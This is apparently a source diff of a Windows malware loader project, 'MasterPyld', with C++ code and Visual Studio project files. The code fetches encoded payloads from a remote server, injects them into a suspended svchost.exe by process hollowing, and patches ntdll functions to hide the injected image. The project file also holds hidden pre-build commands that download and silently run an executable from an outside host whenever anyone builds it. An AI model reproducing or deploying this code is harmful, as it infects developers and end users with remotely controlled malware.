0x48, 0x3B, 0x15, 0x0B, 0x00, 0x00, 0x00, // cmp rdx,qword ptr ds:[addr] -> is ImageBase == module_ptr ?
|
||||
0x75, 0x19, // jne [continue to function]
|
||||
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
|
||||
0xC3 //ret
|
||||
};
|
||||
|
||||
|
||||
BYTE stub_buffer_trampoline[stub_size * 2] = { 0 };
|
||||
LI_FN(memcpy).cached()(stub_buffer_trampoline, func_patch, sizeof(func_patch));
|
||||
|
||||
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, stub_buffer_orig, stub_size);
|
||||
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size - sizeof(LPVOID), &module_ptr, sizeof(LPVOID));
|
||||
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size, &_ZwQueryVirtualMemory_continue, sizeof(LPVOID));
|
||||
LI_FN(memcpy).cached()(stub_buffer_trampoline + stub_size + pos + syscall_pattern_full, jump_to_contnue, sizeof(jump_to_contnue));
|
||||
|
||||
const SIZE_T trampoline_full_size = stub_size + pos + syscall_pattern_full + sizeof(jump_to_contnue);
|
||||
|
||||
if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_patched, stub_size, &out_bytes) || out_bytes != stub_size) {
|
||||
return false;
|
||||
}
|
||||
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
|
||||
return false;
|
||||
}
|
||||
if (!LI_FN(WriteProcessMemory).cached()(hProcess, patch_space, stub_buffer_trampoline, trampoline_full_size, &out_bytes) || out_bytes != trampoline_full_size) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!LI_FN(VirtualProtectEx).cached()(hProcess, patch_space, stub_size, PAGE_EXECUTE_READ, &oldProtect)) {
|
||||
return false;
|
||||
}
|
||||
LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, stub_size);
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
|
||||
bool patch_NtManageHotPatch64(HANDLE hProcess, HMODULE hNtdll)
|
||||
{
|
||||
|
||||
|
||||
if (!hNtdll) return false; // should never happen
|
||||
|
||||
DWORD oldProtect = 0;
|
||||
const SIZE_T stub_size = 0x20;
|
||||
|
||||
const BYTE hotpatch_patch[] = {
|
||||
0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED
|
||||
0xC3 //ret
|
||||
};
|
||||
|
||||
|
||||
// syscall stub template
|
||||
const size_t syscall_pattern_full = 8;
|
||||
const size_t syscall_pattern_start = 4;
|
||||
const BYTE syscall_fill_pattern[] = {
|
||||
0x4C, 0x8B, 0xD1, //mov r10,rcx
|
||||
0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID]
|
||||
};
|
||||
|
||||
std::string gotpot = EC("NtManageHotPatch");
|
||||
|
||||
ULONG_PTR _NtManageHotPatch = (ULONG_PTR)LI_FN(GetProcAddress).cached()(hNtdll, gotpot.c_str());
|
||||
if (!_NtManageHotPatch) {
|
||||
return false;
|
||||
}
|
||||
LPVOID stub_ptr = (LPVOID)_NtManageHotPatch;
|
||||
|
||||
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
BYTE stub_buffer_orig[stub_size] = { 0 };
|
||||
SIZE_T out_bytes = 0;
|
||||
if (!LI_FN(ReadProcessMemory).cached()(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) {
|
||||
return false;
|
||||
}
|
||||
// confirm it is a valid syscall stub:
|
||||
if (LI_FN(memcmp).cached()(stub_buffer_orig, syscall_fill_pattern, syscall_pattern_start) != 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
|
||||
if (!LI_FN(WriteProcessMemory).cached()(hProcess, stub_ptr, hotpatch_patch, sizeof(hotpatch_patch), &out_bytes) || out_bytes != sizeof(hotpatch_patch)) {
|
||||
return false;
|
||||
}
|
||||
if (!LI_FN(VirtualProtectEx).cached()(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) {
|
||||
return false;
|
||||
}
|
||||
LI_FN(FlushInstructionCache).cached()(hProcess, stub_ptr, sizeof(hotpatch_patch));
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
int ruplepe(std::vector<uint8_t> argy) {
|
||||
|
||||
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)argy.data();
|
||||
PIMAGE_NT_HEADERS64 NtHeader = (PIMAGE_NT_HEADERS64)(argy.data() + DosHeader->e_lfanew);
|
||||
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si = { sizeof(si) };
|
||||
|
||||
ULONG_PTR retlen;
|
||||
PROCESS_BASIC_INFORMATION pbi;
|
||||
|
||||
void* newImgBase;
|
||||
DWORD64 ImgBaseAddress;
|
||||
|
||||
HMODULE hNtdll = LI_FN(GetModuleHandleA).safe()(EC("ntdll"));
|
||||
HMODULE ntDll = LI_FN(LoadLibraryA).safe()(EC("ntdll.dll"));
|
||||
if (ntDll == nullptr) {
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
std::string nqr = EC("NtQueryInformationProcess");
|
||||
|
||||
|
||||
EMOSS NtQueryInformationProcess = (EMOSS)GetProcAddress(ntDll, nqr.c_str());
|
||||
|
||||
if (NtHeader->Signature != IMAGE_NT_SIGNATURE) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
if (!CreateProcessW(EC(L"C:\\Windows\\System32\\svchost.exe"),
|
||||
NULL, NULL, NULL, FALSE,
|
||||
CREATE_SUSPENDED,
|
||||
NULL, NULL, &si, &pi)) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
patch_NtManageHotPatch64(pi.hProcess, hNtdll);
|
||||
|
||||
|
||||
NtQueryInformationProcess(
|
||||
pi.hProcess,
|
||||
ProcessBasicInformation,
|
||||
&pbi,
|
||||
sizeof(PROCESS_BASIC_INFORMATION),
|
||||
&retlen
|
||||
);
|
||||
|
||||
|
||||
|
||||
newImgBase = LI_FN(VirtualAllocEx).cached()(
|
||||
pi.hProcess,
|
||||
NULL,
|
||||
NtHeader->OptionalHeader.SizeOfImage,
|
||||
MEM_COMMIT | MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE
|
||||
);
|
||||
|
||||
|
||||
if (newImgBase == NULL) {
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
LI_FN(WriteProcessMemory).cached()(pi.hProcess, newImgBase, argy.data(), NtHeader->OptionalHeader.SizeOfHeaders, 0);
|
||||
|
||||
|
||||
PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(argy.data() + DosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64));
|
||||
|
||||
for (int num = 0; num < NtHeader->FileHeader.NumberOfSections; num++) {
|
||||
if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess,
|
||||
(LPVOID)((DWORD64)newImgBase + SectionHeader->VirtualAddress),
|
||||
(LPVOID)((DWORD64)argy.data() + SectionHeader->PointerToRawData),
|
||||
SectionHeader->SizeOfRawData,
|
||||
0)) {
|
||||
|
||||
}
|
||||
SectionHeader++;
|
||||
}
|
||||
|
||||
|
||||
ImgBaseAddress = (DWORD64)pbi.PebBaseAddress + 0x10;
|
||||
if (!LI_FN(WriteProcessMemory).cached()(pi.hProcess, (LPVOID)ImgBaseAddress, &newImgBase, sizeof(newImgBase), 0)) {
|
||||
|
||||
}
|
||||
|
||||
HANDLE NewThread = LI_FN(CreateRemoteThread).cached()(pi.hProcess,
|
||||
NULL,
|
||||
0,
|
||||
(LPTHREAD_START_ROUTINE)((DWORD64)newImgBase + NtHeader->OptionalHeader.AddressOfEntryPoint),
|
||||
NULL,
|
||||
CREATE_SUSPENDED,
|
||||
NULL);
|
||||
|
||||
|
||||
if (!NewThread) {
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
LI_FN(SuspendThread).cached()(pi.hThread);
|
||||
|
||||
patch_ZwQueryVirtualMemory(pi.hProcess, newImgBase, hNtdll);
|
||||
|
||||
|
||||
LI_FN(ResumeThread).cached()(NewThread);
|
||||
|
||||
|
||||
//std::cout << "DosHeader: " << std::hex << "0x" << DosHeader;
|
||||
//std::cout << "NtHeader: " << std::hex << "0x" << NtHeader;
|
||||
//std::cout << "Shellcode injected successfully\n";
|
||||
|
||||
|
||||
LI_FN(FreeLibrary).cached()(ntDll);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
std::string Rvrs(std::string input) {
|
||||
|
||||
|
||||
|
||||
// Reverse the string
|
||||
std::reverse(input.begin(), input.end());
|
||||
|
||||
return input;
|
||||
}
|
||||
|
||||
|
||||
bool isInternetAvailable() {
|
||||
return InternetCheckConnectionW(EC(L"http://www.google.com"), FLAG_ICC_FORCE_CONNECTION, 0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
std::string DownloadString(std::string URL) {
|
||||
|
||||
|
||||
if (isInternetAvailable())
|
||||
{
|
||||
HINTERNET interwebs = LI_FN(InternetOpenA).cached()(EC("Mozilla/5.0"), INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL);
|
||||
|
||||
HINTERNET urlFile;
|
||||
std::string rtn;
|
||||
if (interwebs) {
|
||||
urlFile = LI_FN(InternetOpenUrlA).cached()(interwebs, URL.c_str(), NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, NULL);
|
||||
if (urlFile) {
|
||||
char buffer[20000];
|
||||
DWORD bytesRead;
|
||||
do {
|
||||
LI_FN(InternetReadFile).cached()(urlFile, buffer, 20000, &bytesRead);
|
||||
rtn.append(buffer, bytesRead);
|
||||
LI_FN(memset).cached()(buffer, 0, 20000);
|
||||
} while (bytesRead);
|
||||
LI_FN(InternetCloseHandle).cached()(interwebs);
|
||||
LI_FN(InternetCloseHandle).cached()(urlFile);
|
||||
return rtn;
|
||||
}
|
||||
}
|
||||
LI_FN(InternetCloseHandle).cached()(interwebs);
|
||||
return rtn;
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
//std::cout << EC("No Internet Connection.") << std::endl;
|
||||
|
||||
return EC("");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
std::vector<BYTE> Base64ToBytes(const std::string& base64String) {
|
||||
|
||||
|
||||
DWORD bytesNeeded;
|
||||
if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, NULL, &bytesNeeded, NULL, NULL)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
|
||||
std::vector<BYTE> bytes(bytesNeeded);
|
||||
if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, bytes.data(), &bytesNeeded, NULL, NULL)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
struct Staby {
|
||||
std::string BuildID;
|
||||
std::string OwnerID;
|
||||
};
|
||||
|
||||
std::vector<Staby> Runneds;
|
||||
|
||||
|
||||
void RunSTB(std::string buldid, int add)
|
||||
{
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
int pide = 0;
|
||||
|
||||
std::string owneryid = DownloadString(EC("https://") + MainURL + EC("/api/mnr/bobby31.php?type=sahipid&security=Daytone&blds=") + buldid);
|
||||
|
||||
HANDLE mutexstb = LI_FN(OpenMutexA).get()(MUTEX_ALL_ACCESS, FALSE, (EC("Global\\m") + owneryid).c_str());
|
||||
|
||||
//std::cout << mutexstb << std::endl;
|
||||
|
||||
|
||||
|
||||
|
||||
if (mutexstb == NULL) {
|
||||
|
||||
//std::cout << buldid << std::endl;
|
||||
|
||||
A:
|
||||
|
||||
std::string dumasring = DownloadString(EC("https://") + MainURL + EC("/Stb/Unretev.php?bl=") + buldid + EC(".txt"));
|
||||
std::vector<uint8_t> ByteStub = Base64ToBytes(dumasring);
|
||||
|
||||
//std::cout << EC("[DBG] Got New Stub, size is: ") << ByteStub.size() << std::endl;
|
||||
|
||||
if (ByteStub.size() < 1000)
|
||||
{
|
||||
//std::cout << EC("[DBG] Stub STR is: ") << dumasring << std::endl;
|
||||
//std::cout << EC("[DBG] Stub URL is: ") << (EC("https://") + MainURL + EC("/Stb/Unretev.php?bl=") + buldid + EC(".txt")) << std::endl;
|
||||
|
||||
}
|
||||
|
||||
LI_FN(Sleep).safe_cached()(1050);
|
||||
|
||||
if (ByteStub.size() > 1000)
|
||||
{
|
||||
ruplepe(ByteStub);
|
||||
|
||||
if (add == 1)
|
||||
{
|
||||
//std::cout << EC("Owner ID") << std::endl;
|
||||
//std::cout << owneryid << std::endl;
|
||||
|
||||
|
||||
//std::cout << EC("Build ID") << std::endl;
|
||||
//std::cout << buldid << std::endl;
|
||||
|
||||
Runneds.push_back({ buldid, owneryid });
|
||||
}
|
||||
|
||||
LI_FN(Sleep).safe_cached()(80000);
|
||||
}
|
||||
else {
|
||||
LI_FN(Sleep).safe_cached()(5000);
|
||||
|
||||
goto A;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (add == 1)
|
||||
{
|
||||
//std::cout << EC("Owner ID") << std::endl;
|
||||
//std::cout << owneryid << std::endl;
|
||||
//std::cout << EC("Build ID") << std::endl;
|
||||
//std::cout << buldid << std::endl;
|
||||
|
||||
Runneds.push_back({ buldid, owneryid });
|
||||
}
|
||||
LI_FN(CloseHandle).get()(mutexstb);
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
catch (...) {}
|
||||
|
||||
}
|
||||
|
||||
std::string decrypt(const std::string& encryptedBase64, const std::string& key) {
|
||||
|
||||
|
||||
std::string decoded;
|
||||
std::vector<int> decodingTable(256, -1);
|
||||
const std::string base64Chars =
|
||||
EC("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/");
|
||||
|
||||
for (size_t i = 0; i < base64Chars.size(); i++) {
|
||||
decodingTable[base64Chars[i]] = i;
|
||||
}
|
||||
|
||||
int val = 0, valb = -8;
|
||||
for (unsigned char c : encryptedBase64) {
|
||||
if (decodingTable[c] == -1) break;
|
||||
val = (val << 6) + decodingTable[c];
|
||||
valb += 6;
|
||||
if (valb >= 0) {
|
||||
decoded.push_back((val >> valb) & 0xFF);
|
||||
valb -= 8;
|
||||
}
|
||||
}
|
||||
|
||||
std::string encryptedData = decoded;
|
||||
|
||||
|
||||
std::string decrypted;
|
||||
size_t keyLength = key.size();
|
||||
for (size_t i = 0; i < encryptedData.size(); ++i) {
|
||||
decrypted += encryptedData[i] ^ key[i % keyLength];
|
||||
}
|
||||
|
||||
|
||||
return decrypted;
|
||||
}
|
||||
|
||||
std::string remove_whitespace(const std::string& input) {
|
||||
std::string result;
|
||||
for (char c : input) {
|
||||
if (!std::isspace(c)) {
|
||||
result += c;
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
|
||||
INT WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
||||
{
|
||||
/*AllocConsole();
|
||||
freopen(EC("CON"), EC("w"), stdout);
|
||||
freopen(EC("CON"), EC("w"), stderr);*/
|
||||
|
||||
//std::cout << EC("[DBG] Sleeping... Main Fucking PLD: 0.0.1") << std::endl;
|
||||
|
||||
LI_FN(CreateMutexA).safe_cached()(NULL, TRUE, EC("Global\\mx"));
|
||||
|
||||
if (LI_FN(GetLastError).safe()() == ERROR_ALREADY_EXISTS) {
|
||||
//std::cout << EC("[DBG] Nope") << std::endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
//std::cout << EC("[DBG] Yes") << std::endl;
|
||||
XC:
|
||||
|
||||
try
|
||||
{
|
||||
if (std::filesystem::exists(EC("C:\\ProgramData\\ntos")))
|
||||
{
|
||||
//std::cout << EC("[DBG] Getting ids") << std::endl;
|
||||
LI_FN(Sleep).safe_cached()(750);
|
||||
|
||||
|
||||
std::ifstream file(EC("C:\\ProgramData\\ntos"));
|
||||
std::string line;
|
||||
std::vector<std::string> lines;
|
||||
|
||||
while (std::getline(file, line)) {
|
||||
lines.push_back(line);
|
||||
}
|
||||
|
||||
file.close();
|
||||
|
||||
if (!lines.empty())
|
||||
{
|
||||
MainURL = EC("vcc-libaries.online");
|
||||
|
||||
//std::cout << EC("[DBG] Main URL: ") << MainURL << std::endl;
|
||||
|
||||
|
||||
for (const auto& l : lines) {
|
||||
LI_FN(Sleep).safe_cached()(1200);
|
||||
|
||||
//std::cout << EC("[DBG] Got IDs") << std::endl;
|
||||
LI_FN(Sleep).safe_cached()(750);
|
||||
|
||||
std::string patver = Rvrs(l);
|
||||
//std::cout << patver << std::endl;
|
||||
|
||||
LI_FN(Sleep).safe_cached()(1000);
|
||||
|
||||
RunSTB(patver, 1);
|
||||
|
||||
}
|
||||
|
||||
|
||||
while (true)
|
||||
{
|
||||
for (const auto& Stey : Runneds) {
|
||||
|
||||
try
|
||||
{
|
||||
//std::cout << EC("Loop Onexx") << std::endl;
|
||||
|
||||
|
||||
|
||||
|
||||
HANDLE mutexstb = LI_FN(OpenMutexA).get()(MUTEX_ALL_ACCESS, FALSE, (EC("Global\\m") + Stey.OwnerID).c_str());
|
||||
|
||||
//std::cout << mutexstb << std::endl;
|
||||
|
||||
if (mutexstb == NULL) {
|
||||
|
||||
//std::cout << EC("Loop Run OK") << std::endl;
|
||||
|
||||
|
||||
RunSTB(Stey.BuildID, 0);
|
||||
|
||||
}
|
||||
else {
|
||||
CloseHandle(mutexstb);
|
||||
}
|
||||
|
||||
LI_FN(Sleep).safe_cached()(15000);
|
||||
}
|
||||
catch (...) { continue; }
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
catch (...)
|
||||
{
|
||||
goto XC;
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Executable
+186
@@ -0,0 +1,186 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{dcae9b38-1ed9-4806-a620-c92ec9595a45}</ProjectGuid>
|
||||
<RootNamespace>MasterPyld</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0.26100.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>MasterPyld</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<IncludePath>$(ProjectDir)src\qengine\engine;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(ProjectDir)src\qengine\extern;$(LibraryPath)</LibraryPath>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
<PreBuildEvent>
|
||||
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
|
||||
</PreBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<CallingConvention>FastCall</CallingConvention>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<OmitFramePointers>true</OmitFramePointers>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<AdditionalOptions>@$(IntDir)build_seed.rsp
|
||||
/Gw %(AdditionalOptions)</AdditionalOptions>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<ExceptionHandling>Async</ExceptionHandling>
|
||||
<OmitDefaultLibName>false</OmitDefaultLibName>
|
||||
<ControlFlowGuard>false</ControlFlowGuard>
|
||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalDependencies>ws2_32.lib;Normaliz.lib;Crypt32.lib;Wldap32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<LinkTimeCodeGeneration>
|
||||
</LinkTimeCodeGeneration>
|
||||
<AdditionalOptions>/HIGHENTROPYVA
|
||||
%(AdditionalOptions)</AdditionalOptions>
|
||||
<EntryPointSymbol>
|
||||
</EntryPointSymbol>
|
||||
<IgnoreAllDefaultLibraries>
|
||||
</IgnoreAllDefaultLibraries>
|
||||
</Link>
|
||||
<PreBuildEvent>
|
||||
<Command>powershell -NoProfile -ExecutionPolicy Bypass -Command "$r = Get-Random -Minimum 0 -Maximum 0x7FFFFFFF; Set-Content -Path '$(IntDir)build_seed.rsp' -Value ('/D BUILD_SEED=0x{0:X8}' -f $r) -Encoding ASCII -NoNewline"</Command>
|
||||
</PreBuildEvent>
|
||||
<PreBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PreBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Master.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Encrypt.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
+4
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
